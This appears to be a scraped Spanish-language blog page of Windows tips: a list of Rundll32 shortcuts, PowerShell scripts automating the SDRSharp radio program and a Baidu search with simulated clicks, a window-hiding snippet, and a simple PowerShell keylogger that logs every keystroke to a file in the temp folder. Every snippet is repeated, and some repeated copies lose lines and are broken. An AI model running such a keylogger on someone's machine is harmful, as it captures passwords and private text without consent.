Rundll32 commands for Windows

Control Panel
RunDll32.exe shell32.dll,Control_RunDLL

Delete Temporary Internet Files
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8

Delete Cookies
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2

Delete History
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1

Delete Form Data
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 16

Delete Passwords
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 32

Delete All
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255

Delete all files and settings stored by Add-ons
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 4351

Date and Time Properties
RunDll32.exe shell32.dll,Control_RunDLL timedate.cpl

Device Manager
RunDll32.exe devmgr.dll DeviceManager_Execute

Folder Options – General
RunDll32.exe shell32.dll,Options_RunDLL 0

Folder Options – Search
RunDll32.exe shell32.dll,Options_RunDLL 2

Folder Options – View
RunDll32.exe shell32.dll,Options_RunDLL 7

Hibernate
RunDll32.exe powrprof.dll,SetSuspendState

Keyboard Properties
RunDll32.exe shell32.dll,Control_RunDLL main.cpl @1

Lock Screen
RunDll32.exe user32.dll,LockWorkStation

Mouse Button – Swap left button to function as right
Rundll32 User32.dll,SwapMouseButton

Map Network Drive Wizard
Rundll32 Shell32.dll,SHHelpShortcuts_RunDLL Connect

Network Connections
RunDll32.exe shell32.dll,Control_RunDLL ncpa.cpl

Organize IE Favourites
Rundll32.exe shdocvw.dll,DoOrganizeFavDlg

Open With Dialog Box
Rundll32 Shell32.dll,OpenAs_RunDLL File.ext

Plays a waveform sound
rundll32.exe user32.dll,MessageBeep

Printer User Interface
Rundll32 Printui.dll,PrintUIEntry

Printer Management Folder.
Rundll32 Shell32.dll,SHHelpShortcuts_RunDLL PrintersFolder

Power Options
RunDll32.exe Shell32.dll,Control_RunDLL powercfg.cpl

Stored Usernames and Passwords
RunDll32.exe keymgr.dll,KRShowKeyMgr

Safely Remove Hardware Dialog Box
Rundll32 Shell32.dll,Control_RunDLL HotPlug.dll

Taskbar Properties
RunDll32.exe shell32.dll,Options_RunDLL 1

User Accounts
RunDll32.exe shell32.dll,Control_RunDLL nusrmgr.cpl

Windows Security Center
RunDll32.exe shell32.dll,Control_RunDLL wscui.cpl

Windows Fonts Installation Folder
Rundll32 Shell32.dll,SHHelpShortcuts_RunDLL FontsFolder

Windows Firewall
RunDll32.exe shell32.dll,Control_RunDLL firewall.cpl

Control Panel

RunDll32.exe shell32.dll,Control_RunDLL

Delete Temporary Internet Files

RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8

Delete Cookies

RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2

Delete History

RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1

Delete Form Data

RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 16

Delete Passwords

RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 32

Delete All

RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255

Delete all files and settings stored by Add-ons

RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 4351

Date and Time Properties

RunDll32.exe shell32.dll,Control_RunDLL timedate.cpl

Device Manager

RunDll32.exe devmgr.dll DeviceManager_Execute

Folder Options – General

RunDll32.exe shell32.dll,Options_RunDLL 0

Folder Options – Search

RunDll32.exe shell32.dll,Options_RunDLL 2

Folder Options – View

RunDll32.exe shell32.dll,Options_RunDLL 7

Hibernate

RunDll32.exe powrprof.dll,SetSuspendState

Keyboard Properties

RunDll32.exe shell32.dll,Control_RunDLL main.cpl @1

Lock Screen

RunDll32.exe user32.dll,LockWorkStation

Mouse Button – Swap left button to function as right

Rundll32 User32.dll,SwapMouseButton

Map Network Drive Wizard

Rundll32 Shell32.dll,SHHelpShortcuts_RunDLL Connect

Network Connections

RunDll32.exe shell32.dll,Control_RunDLL ncpa.cpl

Organize IE Favourites

Rundll32.exe shdocvw.dll,DoOrganizeFavDlg

Open With Dialog Box

Rundll32 Shell32.dll,OpenAs_RunDLL File.ext

Plays a waveform sound

rundll32.exe user32.dll,MessageBeep

Printer User Interface

Rundll32 Printui.dll,PrintUIEntry

Printer Management Folder.

Rundll32 Shell32.dll,SHHelpShortcuts_RunDLL PrintersFolder

Power Options

RunDll32.exe Shell32.dll,Control_RunDLL powercfg.cpl

Stored Usernames and Passwords

RunDll32.exe keymgr.dll,KRShowKeyMgr

Safely Remove Hardware Dialog Box

Rundll32 Shell32.dll,Control_RunDLL HotPlug.dll

Taskbar Properties

RunDll32.exe shell32.dll,Options_RunDLL 1

User Accounts

RunDll32.exe shell32.dll,Control_RunDLL nusrmgr.cpl

Windows Security Center

RunDll32.exe shell32.dll,Control_RunDLL wscui.cpl

Windows Fonts Installation Folder

Rundll32 Shell32.dll,SHHelpShortcuts_RunDLL FontsFolder

Windows Firewall

RunDll32.exe shell32.dll,Control_RunDLL firewall.cpl

Automatizar SDRSharp con PowerShell (parte 5)

Abrir, ocultar el menú, poner en funcionamiento SDRSharp y recorrer el rango de frecuencias desde 400~470 MHz haciendo una captura de pantalla por cada frecuencia

#Abrir SDRSharp
Start-Process E:\sdrsharp-x86\SDRSharp.exe

Start-Sleep -Seconds 5

#Funciones necesarias para hacer clic
$MouseEventSig=@'
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);
'@
$MouseEvent = Add-Type -memberDefinition $MouseEventSig -name "MouseEventWinApi" -passThru

#Función para capturar la pantalla
function screenshot($path)
{
	$b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
	$g=[System.Drawing.Graphics]::FromImage($b)
	$g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)
	$g.Dispose()
	$b.Save($path,'Bmp')
}

#Hacer clic en el botón del menú para ocultarlo
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(23,54)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Hacer clic en Start para poner en funcionamiento SDRSharp
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(60,54)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Mover el cursor hasta la posición de los MHz y hacer clic
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(382,54)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Escribir en la posición de los MHz el valor 400
[System.Windows.Forms.SendKeys]::SendWait("400")

Start-Sleep -Seconds 5

#Hacer 70 clics en la posición de la unidad en los MHz
1..70 | % {
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(422,46)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)
Start-Sleep -Seconds 5

#Ruta de la captura de pantalla
screenshot "e:\frecuencias\$_.bmp"
}

#Abrir SDRSharp

Start-Process E:\sdrsharp-x86\SDRSharp.exe

Start-Sleep -Seconds 5

#Funciones necesarias para hacer clic

$MouseEventSig=@'

[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]

public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);

$MouseEvent = Add-Type -memberDefinition $MouseEventSig -name "MouseEventWinApi" -passThru

#Función para capturar la pantalla

function screenshot($path)

{

$b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)

$g=[System.Drawing.Graphics]::FromImage($b)

$g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)

$g.Dispose()

$b.Save($path,'Bmp')

}

#Hacer clic en el botón del menú para ocultarlo

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(23,54)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Hacer clic en Start para poner en funcionamiento SDRSharp

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(60,54)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Mover el cursor hasta la posición de los MHz y hacer clic

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(382,54)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Escribir en la posición de los MHz el valor 400

[System.Windows.Forms.SendKeys]::SendWait("400")

Start-Sleep -Seconds 5

#Hacer 70 clics en la posición de la unidad en los MHz

1..70 | % {

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(422,46)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Ruta de la captura de pantalla

screenshot "e:\frecuencias\$_.bmp"

}

Automatizar SDRSharp con PowerShell (parte 4)

Abrir, ocultar el menú, poner en funcionamiento SDRSharp y recorrer el rango de frecuencias desde 400~470 MHz

#Abrir SDRSharp
Start-Process E:\sdrsharp-x86\SDRSharp.exe

Start-Sleep -Seconds 5

#Funciones necesarias para hacer clic
$MouseEventSig=@'
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);
'@
$MouseEvent = Add-Type -memberDefinition $MouseEventSig -name "MouseEventWinApi" -passThru

#Hacer clic en el botón del menú para ocultarlo
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(23,54)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Hacer clic en Start para poner en funcionamiento SDRSharp
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(60,54)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Mover el cursor hasta la posición de los MHz y hacer clic
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(382,54)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Escribir en la posición de los MHz el valor 400
[System.Windows.Forms.SendKeys]::SendWait("400")

Start-Sleep -Seconds 5

#Hacer 70 clics en la posición de la unidad en los MHz
1..70 | % {
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(422,46)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)
Start-Sleep -Seconds 5
}

#Abrir SDRSharp

Start-Process E:\sdrsharp-x86\SDRSharp.exe

Start-Sleep -Seconds 5

#Funciones necesarias para hacer clic

$MouseEventSig=@'

[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]

public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);

$MouseEvent = Add-Type -memberDefinition $MouseEventSig -name "MouseEventWinApi" -passThru

#Hacer clic en el botón del menú para ocultarlo

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(23,54)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Hacer clic en Start para poner en funcionamiento SDRSharp

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(60,54)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Mover el cursor hasta la posición de los MHz y hacer clic

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(382,54)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Escribir en la posición de los MHz el valor 400

[System.Windows.Forms.SendKeys]::SendWait("400")

Start-Sleep -Seconds 5

#Hacer 70 clics en la posición de la unidad en los MHz

1..70 | % {

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(422,46)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

}

Automatizar SDRSharp con PowerShell (parte 3)

Abrir, ocultar el menú y poner en funcionamiento SDRSharp en la frecuencia 400 MHz

#Abrir SDRSharp
Start-Process E:\sdrsharp-x86\SDRSharp.exe

Start-Sleep -Seconds 5

#Funciones necesarias para hacer clic
$MouseEventSig=@'
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);
'@
$MouseEvent = Add-Type -memberDefinition $MouseEventSig -name "MouseEventWinApi" -passThru

#Hacer clic en el botón del menú para ocultarlo
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(23,54)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Hacer clic en Start para poner en funcionamiento SDRSharp
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(60,54)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Mover el cursor hasta la posición de los MHz y hacer clic
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(382,54)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Escribir en la posición de los MHz el valor 400
[System.Windows.Forms.SendKeys]::SendWait("400")

#Abrir SDRSharp

Start-Process E:\sdrsharp-x86\SDRSharp.exe

Start-Sleep -Seconds 5

#Funciones necesarias para hacer clic

$MouseEventSig=@'

[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]

public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);

$MouseEvent = Add-Type -memberDefinition $MouseEventSig -name "MouseEventWinApi" -passThru

#Hacer clic en el botón del menú para ocultarlo

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(23,54)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Hacer clic en Start para poner en funcionamiento SDRSharp

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(60,54)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Mover el cursor hasta la posición de los MHz y hacer clic

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(382,54)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Escribir en la posición de los MHz el valor 400

[System.Windows.Forms.SendKeys]::SendWait("400")

Pulsar en el primer resultado de la búsqueda en Baidu

#Para la resolución de pantalla 1366 x 768

$MouseEventSig=@’
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);
‘@

$MouseEvent = Add-Type -memberDefinition $MouseEventSig -name 'MouseEventWinApi' -passThru

Start-Process Chrome 'http://www.baidu.com/'

Start-Sleep -Seconds 5

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(384,302)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

[System.Windows.Forms.SendKeys]::SendWait('PowerShell')
[System.Windows.Forms.SendKeys]::SendWait('{ENTER}')

Start-Sleep -Seconds 5

#Pulsar en el primer resultado de la búsqueda
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(198,212)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

#Para la resolución de pantalla 1366 x 768

$MouseEventSig=@’

[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]

public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);

‘@

$MouseEvent = Add-Type -memberDefinition $MouseEventSig -name 'MouseEventWinApi' -passThru

Start-Process Chrome 'http://www.baidu.com/'

Start-Sleep -Seconds 5

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(384,302)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

[System.Windows.Forms.SendKeys]::SendWait('PowerShell')

[System.Windows.Forms.SendKeys]::SendWait('{ENTER}')

Start-Sleep -Seconds 5

#Pulsar en el primer resultado de la búsqueda

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(198,212)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Automatizar SDRSharp con PowerShell (parte 2)

Abrir, ocultar el menú y poner en funcionamiento SDRSharp

#Abrir SDRSharp
Start-Process E:\sdrsharp-x86\SDRSharp.exe

Start-Sleep -Seconds 5

#Funciones necesarias para hacer clic
$MouseEventSig=@'
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);
'@
$MouseEvent = Add-Type -memberDefinition $MouseEventSig -name "MouseEventWinApi" -passThru

#Hacer clic en el botón del menú para ocultarlo
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(23,54)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Hacer clic en Start para poner en funcionamiento SDRSharp
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(60,52)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

#Abrir SDRSharp

Start-Process E:\sdrsharp-x86\SDRSharp.exe

Start-Sleep -Seconds 5

#Funciones necesarias para hacer clic

$MouseEventSig=@'

[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]

public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);

$MouseEvent = Add-Type -memberDefinition $MouseEventSig -name "MouseEventWinApi" -passThru

#Hacer clic en el botón del menú para ocultarlo

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(23,54)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Hacer clic en Start para poner en funcionamiento SDRSharp

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(60,52)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Keylogger sencillo con PowerShell

#Declarar funciones
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

#Cargar las funciones declaradas
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

try
{
    #Bucle infinito para capturar pulsación de teclas
    while(1)
    {
        #Para cada uno de los caracteres ASCII
        for ($ascii = 9; $ascii -le 254; $ascii++)
        {
            #Capturar key state
            $state = $API::GetAsyncKeyState($ascii)
            #Si se ha pulsado una tecla
            if ($state -eq -32767)
            {
                #Traducir el código
                $virtualKey = $API::MapVirtualKey($ascii, 3)
                $kbstate = New-Object Byte[] 256
                $checkkbstate = $API::GetKeyboardState($kbstate)
                $mychar = New-Object -TypeName System.Text.StringBuilder
                if($API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0))
                {
                    #Almacenar la tecla pulsada
                    $value = [System.Text.Encoding]::Unicode.GetBytes($mychar)
                    [System.IO.File]::AppendAllText("$env:temp\keys.txt", $mychar, [System.Text.Encoding]::Unicode)
                }
            }
        }
    }
}
finally
{
    #Abrir el fichero con las teclas pulsadashola
    notepad $env:temp\keys.txt
}

#Declarar funciones

$signatures = @'

[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]

public static extern short GetAsyncKeyState(int virtualKeyCode);

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int GetKeyboardState(byte[] keystate);

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int MapVirtualKey(uint uCode, int uMapType);

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);

#Cargar las funciones declaradas

$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

try

{

#Bucle infinito para capturar pulsación de teclas

while(1)

{

#Para cada uno de los caracteres ASCII

for ($ascii = 9; $ascii -le 254; $ascii++)

{

#Capturar key state

$state = $API::GetAsyncKeyState($ascii)

#Si se ha pulsado una tecla

if ($state -eq -32767)

{

#Traducir el código

$virtualKey = $API::MapVirtualKey($ascii, 3)

$kbstate = New-Object Byte[] 256

$checkkbstate = $API::GetKeyboardState($kbstate)

$mychar = New-Object -TypeName System.Text.StringBuilder

if($API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0))

{

#Almacenar la tecla pulsada

$value = [System.Text.Encoding]::Unicode.GetBytes($mychar)

[System.IO.File]::AppendAllText("$env:temp\keys.txt", $mychar, [System.Text.Encoding]::Unicode)

}

finally

{

#Abrir el fichero con las teclas pulsadashola

notepad $env:temp\keys.txt

}

Ocultar un proceso durante unos segundos y después volverlo a mostrar

#Importar en PowerShell la función que permite cambiar el estado de una ventana de show a hide
$funcion = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
$type = Add-Type -MemberDefinition $funcion -Name myAPI -PassThru
 
#Obtener el identificador del proceso
$process=Get-Process notepad
 
#Obtener el Handle de la ventana que se va a ocultar
$hwnd = $process.MainWindowHandle
 
#Ocultar la ventana durante 5 segundos llamando a la función ShowWindowAsync con el valor 0
$type::ShowWindowAsync($hwnd, 0)

Start-Sleep -Seconds 5

#Mostra la ventana llamando a la función ShowWindowAsync con el valor 5
$type::ShowWindowAsync($hwnd, 5)

#Importar en PowerShell la función que permite cambiar el estado de una ventana de show a hide

$funcion = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'

$type = Add-Type -MemberDefinition $funcion -Name myAPI -PassThru

#Obtener el identificador del proceso

$process=Get-Process notepad

#Obtener el Handle de la ventana que se va a ocultar

$hwnd = $process.MainWindowHandle

#Ocultar la ventana durante 5 segundos llamando a la función ShowWindowAsync con el valor 0

$type::ShowWindowAsync($hwnd, 0)

Start-Sleep -Seconds 5

#Mostra la ventana llamando a la función ShowWindowAsync con el valor 5

$type::ShowWindowAsync($hwnd, 5)